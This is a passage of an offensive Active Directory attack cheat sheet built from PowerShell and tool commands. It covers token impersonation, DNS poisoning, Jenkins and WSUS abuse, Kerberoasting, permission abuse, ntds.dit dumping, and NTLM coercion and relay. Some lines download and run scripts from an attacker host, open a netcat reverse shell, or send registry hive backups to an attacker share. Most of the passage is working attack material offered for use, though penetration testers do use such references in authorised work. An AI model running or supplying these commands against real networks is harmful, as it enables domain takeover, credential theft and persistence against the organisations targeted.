Invoke-Command -ScriptBlock{mkdir /tmp; iwr http://<attacker_IP>/Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess

Token manipulation

Standard token impersonation

#List all tokens on the machine
Invoke-TokenManipulation -ShowAll

#List all unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

#Token of a user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1"

#Token of a process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500

Token impersonation with command execution and user addition

Blog here.

./Impersonate.exe list

./Impersonate.exe adduser <token_id> user1 Password123 <group_to_add_to> \\dc.domain.local

./Impersonate.exe exec <token_id> <command>

The same tool exists in Rust (not totally the same, the logic is a little bit different, looks at the README)

#List all the process and their token
./irs.exe list

#Execute a command with the token from a process
./irs.exe exec --pid <PID> --command <command>

Token impersonation via session leaking

Blog here. Basically, as long as a token is linked to a logon session (the ReferenceCount != 0), the logon session can't be closed, even if the user has logged off.
AcquireCredentialsHandle() is used with a session LUID to increase the ReferenceCount and block the session release. Then InitializeSecurityContext() and AcceptSecurityContext() are used to negotiate a new security context, and QuerySecurityContextToken() get an usable token.

#List logon session
Koh.exe list

#Monitor logon session with SID filtering
Koh.exe monitor <SID>

#Capture one token per SID found in new logon sessions
Koh.exe capture

#List captured tokens
koh list

#List group SIDs for a captured token
koh groups <LUID>

#Impersonate a captured token by specifying the session LUID
koh impersonate <LUID>

#Release all captured tokens
koh release all

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

.\Masky.exe /ca:<CA_server_FQDN\CA_name> /template:<template_name> /output:./output.txt

ADIDNS poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack with Powermad

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what Powermad do:

# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

# enable a tombstoned record
Enable-ADIDNSNode -Node *

# disable a node
Disable-ADIDNSNode -Node *

# remove a node
Remove-ADIDNSNode -Node *

# check the wildcard record works/resolve a name
Resolve-DnsName NameThatDoesntExist

DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

Feature abuse

Jenkins

Go to http://<IP>/script

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Without admin access : add a build step in the build configuration, add "Execute Windows Batch Command" and powershell –c <command>

powershell -c "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')"

#For more hardened policy
#On Kali
    echo "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
#In Jenkins
    cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <base64_command>

SCCM / MECM - PXE boot

Check the dedicated page.

WSUS

#Locate the WSUS server
./SharpWSUS locate

#Find a way to compromise it
#Enumerate the contents of the WSUS server to determine which machines to target
./SharpWSUS.exe inspect

#Create a malicious patch with a Microsoft signed binary (mandatory)
./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"

#Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment
./SharpWSUS.exe approve /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

#Wait for the client to download the patch, not possible to control
./SharpWSUS.exe check /updateid:<GUID_from_create> /computername:<target>

#Clean up after the patch is downloaded.
./SharpWSUS.exe delete /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

#Find the WSUS server with the REG key
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on

bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine.

Another attack presented in the AD-CS cheatsheet permits to perform an ESC8 from a WSUS poisoning.

Pre-Windows 2000 Computers

Everything is explained here.

Domain Privesc

Kerberoast

Find users with SPN

#PowerView
Get-NetUser -SPN

#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request ST

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/<target>.domain.local"

Or Request-SPNTicket with PowerView

Export the ticket

Invoke-Mimikatz -Command '"kerberos::list /export"'

Crack the ticket

Many options but this one works (also john, hashcat, etc...)

python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi

Rubeus

Rubeus can be used to perform all the attack, with more or less opsec

#Kerberoast all the kerberoastable accounts
.\Rubeus.exe kerberoast

#Kerberoast a specified account
.\Rubeus.exe kerberoast /user:<target> /outfile:ticket.kirbi

#Kerberoast with RC4 downgrade even if the targets are AES enabled
#Tickets are easier to crack
.\Rubeus.exe kerberoast /tgtdeleg

#Kerberoast with opsec tgtdeleg trick filtering AES accounts
.\Rubeus.exe kerberoast /rc4opsec

Kerberoast with DES

DES can be enabled in the following GPO Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security on the Domain Controller, on in the following registry key : HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes. DES can be use to takeover any account except krbtgt and trust accounts. Full explains here.

./Rubeus.exe asktgt /user:user1 /password:Password123 /domain:domain.local /dc:dc.domain.local /suppenctype:des /nowrap

#To check in the UAC of an account
Get-DomainUser user1 -Domain domain.local -Server dc.domain.local | select useraccountcontrol,serviceprincipalname

./Rubeus.exe asktgs /ticket:TGT.kirbi /service:<target_SPN> /enctype:des /dc:dc.domain.local /nowrap

./Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /nowrap

./Rubeus.exe describe /desplaintext:<plain_text> /ticket:<previous_ST>

The Kerberoast Hash value in the output can be used with hashcat:

hashcat -a 3 -m 14000 <kerberoast_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

The obtained DES key can now be used to ask for a TGT for the target account.

To exploit this against a Domain Controller, the DC account UAC must be changed from SERVER_TRUST_ACCOUNT (8192) needs to be changed to WORKSTATION_TRUST_ACCOUNT (4096) (Owner or Write access against the DC account are needed). This attack can be destructive. It is not recommanded to perform it in production. Additionally, DES must be activated in the UAC.

Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288}
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=2097152}

Then, the attack can be performed as presented above. To rollback to SERVER_TRUST_ACCOUNT an admin account is needed. First escalate to DA, then:

Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288}

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

.\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"user_w/o_preauth" /spn:users.txt

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

WARNING : RoastInTheMiddle.exe is only a PoC for the moment, be carefull with it in prod environment !

./RoastInTheMiddle.exe /listenip:<attacker_IP> /spns:users.txt /targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>

Combined with DES

Here are the steps to follow to perform the attack, as described by Charlie Clark.

  1. Request a valid TGT for User1.
  2. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block.
  3. Man-in-the-Middle (MitM) is performed.
  4. AS-REQ for Computer1 is captured.
  5. AS-REQ modified to only include the DES-CBC-MD5 etype.
  6. Forward AS-REQ to a DC that supports DES.
  7. Extract TGT for Computer1 from AS-REP.
  8. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key.
  9. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key.
  10. Create KERB_CRED from Computer1’s TGT and known information, missing the session key.
  11. Crack the DES hash back to the TGT session key.
  12. Insert the TGT session key into the KERB_CRED.
  13. Use the TGT to authenticate as Computer1.

For the moment, this version of RoastIntheMiddle doesn't seem available.

./RoastInTheMiddle.exe sessionroast /listenip:<attacker_IP> /targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2> /tgt:<TGT_of_known_user>

The "Hash DES session key" can be cracked with hashcat:

hashcat -a 3 -m 14000 <DES_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

And the crack result (which is the DES session key) with the "Kirbi missing session key" can be combined to build a valid TGT:

./Rubeus.exe kirbi /sessionkey:<cracked_session_key> /sessionetype:des /kirbi:<kirbi_w/o_session_key> /nowrap

AS-REP Roasting

Enumerate users

#UPowerView:
Get-DomainUser -PreauthNotRequired -Verbose

#AD module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Request AS-REP hash

.\Rubeus.exe asreproast /user:<target> /domain:domain.local /format:hashcat

#To enumerate AS-REP roastable users through LDAP
.\Rubeus.exe asreproast /creduser:"domain.local\user1" /credpassword:"password" /domain:domain.local /format:hashcat

It is possible to force DES, if it is allowed:

.\Rubeus.exe asreproast /user:<target> /domain:domain.local /des /format:hashcat

Disable Kerberos Preauth

With PowerView, with enough privileges it is possible to perform targeted AS-REP roasting.

Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -PreauthNotRequired -Verbose

Crack the hash

With john or hashcat it could be performed.

In case of DES hash, here is the command:

hashcat -a 3 -m 14000 <DES_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

DACLs attacks

DACLs packages

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it

Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights ResetPassword

#And change the password
$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force                  
Set-DomainUserPassword -Identity <target> -accountpassword $cred
WriteDacl

With this rights we can modify our ACLs against the target, and give us GenericAll for example

Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights All

In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1)

$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid
$OU = Get-DomainOU -Raw <OU_name>

$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()

On an user

WriteProperty
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:"Password123!"

#PowerView
Set-DomainObject <target> -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose

#AD module
Set-ADObject -SamAccountName '<target>' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe"

We can then request a ST without special privileges. The ST can then be "Kerberoasted".

#Verify if the user already has a SPN
Get-DomainUser -Identity <target> | select serviceprincipalname
    #Using ActiveDirectory module
Get-ADUser -Identity <target> -Properties ServicePrincipalName | select ServicePrincipalName

New SPN must be unique in the domain

#Set the SPN
Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'}
    #Using ActiveDirectory module
Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} 

#Request the ticket
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
    #From PowerView
Request-SPNTicket
User-Force-Change-Password

With enough permissions on a user, we can change his password

net user <target> Password123! /domain

#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass)
Set-DomainUserPassword "<target>" -AccountPassword $UserPassword -Credential $cred

On a computer

WriteProperty
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:Password123!
AllExtendedRights
# With PowerView
Get-DomainComputer <target>.domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime

./GMSAPasswordReader.exe --accountname gmsaAccount

On a RODC

GenericWrite

Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights.

It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
WriteProperty

WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.

#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net group <target_group> user1 /add
# With PowerView
Add-DomainGroupMember -Identity '<target_group>' -Members 'user1'

On a GPO

WriteProperty on a GPO

We can create an "evil" GPO with a scheduled task for example

#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators user1 /add"

#With SharpGPOAbuse
./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO"
CreateChild on Policies Cn + WriteProperty on an OU

It is possible to create a fully new GPO and link it to an existing OU

#With RSAT module
New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local"
Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString

After GPO refresh on the OU's machines, when the machines will restart the payload will be executed

Manage Group Policy Links

This section is presented in the Active Directory - Python edition cheatsheet.

On an OU

GenericWrite

With at least GenericWrite on an OU, it it possible to perform the same attacks presented in the GPO section with Manage Group Policy Links.

Create msDS-DelegatedManagedServiceAccount or Create all child objects

This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts).

# With BadSuccessor.ps1
BadSuccessor -mode check -Domain domain.local 
BadSuccessor -mode exploit -Path <OU_DN> -Name "dMSA_name" -DelegatedAdmin "user1" -DelegateTarget "Administrator" -domain "domain.local"

# With SharpSuccessor
.\SharpSuccessor.exe add /impersonate:Administrator /path:<OU_DN> /account:user1 /name:"dMSA_name"

# Obtain a TGT
    # Request a TGT as the current user context, in this case user1
.\Rubeus.exe tgtdeleg /nowrap
    # Then use that TGT to impersonate the dMSA account
.\Rubeus.exe asktgs /targetuser:dMSA_name$ /service:krbtgt/domain.local /opsec /dmsa /nowrap /ptt /ticket:<TGT> /outfile:ticket.kirbi

# Then either request a ST for a desired service as our targeted user (Administrator in that case)
.\Rubeus.exe asktgs /user:dMSA_name$ /service:cifs/DC.domain.local /opsec /dmsa /nowrap /ptt /ticket:<TGT>

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a DirSync attack, as presented here.

Import-Module ./DirSync.psm1

#Sync all the LAPS passwords in the domain
Sync-LAPS

#Sync a specific LAPS password
Sync-LAPS -LDAPFilter '(samaccountname=<computer$>)'

#Sync confidential attributs
Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"

Read LAPS password

Get-DomainComputer <computername> -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

DnsAdmins

Configure the DLL

Needs RSAT DNS

#With dnscmd.exe
dnscmd <target> /config /serverlevelplugindll \\<attacker_IP>\dll\mimilib.dll

#With DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <target> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\<attacker_IP>\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <target> -Verbose

Restart DNS

sc \\<target> stop dns
sc \\<target> start dns

Schema Admins

These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

Change ACLs on the groups

Give full rights to a user on the groups

$creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential $creds

When a new group is created we can add any user to it with the user who has full rights

$User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server dc.domain.local -Credential $creds

Backup Operators

Can generally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup

To backup a folder :

robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E

To backup with Diskshadow + Robocopy:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

To backup with Diskshadow + DLLs:

set context persistent nowritersx
set metadata c:\windows\system32\spool\drivers\color\example.cabx
add volume c: alias someAliasx
createx
expose %someAlias% z:x
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx
delete shadows volume %someAlias%x
resetx

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive

Registry read rights

The Backup Operators can read all the machines registry

python3 reg.py 'domain.local'/'user1':'Password123'@<target>.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'Password123'@server.domain.local backup -o \\<attacker_IP>\share

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

Enumerate deleted objects

To find all the deleted objects and their properties:

Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *

To focus on one object:

Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property *

To find the last deleted object:

Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects

Restore an object

Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

Responder / Inveigh

Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

# Inveigh with *
Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a .scf file with the following content to grab some user hashes:

[Shell]
Command=2
IconFile=\<attacker_IP>\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

MITM6

(Python tool) Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v

Here for a Kerberos relay to ADCS:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

#PetitPotam
./PetitPotam.exe attacker_IP target_IP

#PrinterBug
./SpoolSample.exe target_IP attacker_IP

#ShadowCoerce
python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP

#DFSCoerce
python3.exe dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./MS-EVEN.exe <listener_IP> <target_IP>

MSSQL Coerce

Everything is explained here.

PrivExchange

Coerce Exchange server authentication via PushSubscription (now patched):

python3.exe privexchange.py -ah attacker_IP <Exchange_server> -u user1 -p password -d domain.local

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

GetWebDAVStatus.exe 'machine_ip'

#For multiple machines
webclientservicescanner domain.local/user1:password@10.10.10.0/24

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. The NETBIOS name can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS (Python tool).

#Responder technique
responder -I interface_to_use -A

#ADIDNS technique
New-ADIDNSNode -Tombstone -Verbose -Node "attacker.domain.local" -Data $IP

#Coerce with PetitPotam for example
./PetitPotam.exe "attacker_NETBIOS@80/test.txt" <target_IP>

Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned.

#With Responder + smbserver 
  #Start smbserver in a first terminal with authentication required
python3 smbserver.py $NAME . -smb2support -username notexist -password notexist
  #Start Responder in a second terminal
responder --interface interface_to_use

#Or only with Responder
responder --interface interface_to_use -E

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

nxc smb 10.10.10.0/24 --gen-relay-list list.txt

ntlmrelayx

If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl

ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t ldaps://target -socks

ntlmrelayx.py smb://target

ntlmrelayx.py dcsync://dc

Add an user to Enterprise Admins.

ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump

Kerberos RBCD are detailled in the following section.

#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl

ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks

This attack is presented in the Active Directory - Python edition cheatsheet.

If NTLMv1 is enabled on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR.

#Perform the relay
ntlmrelayx -t winrms://target.domain.local -smb2support

#Use the opened WinRMs shell
nc 127.0.0.1 11000

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced.

dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
      # Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support

krbrelayx

All the attacks related to Kerberos relay are presented in the Active Directory - Python edition cheatsheet.

krbjack

A tool (https://github.com/almandin/krbjack) to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them.

This attack is presented in the Active Directory - Python edition cheatsheet.

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

Unconstrained delegation

Compromised machine in Unconstrained Delegation

Get-NetComputer -UnConstrained

#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

After compromising the computer with UD enabled, we can trick or wait for an admin connection

#Check if a ticket is available
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

Printer bug / PetitPotam

To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring:

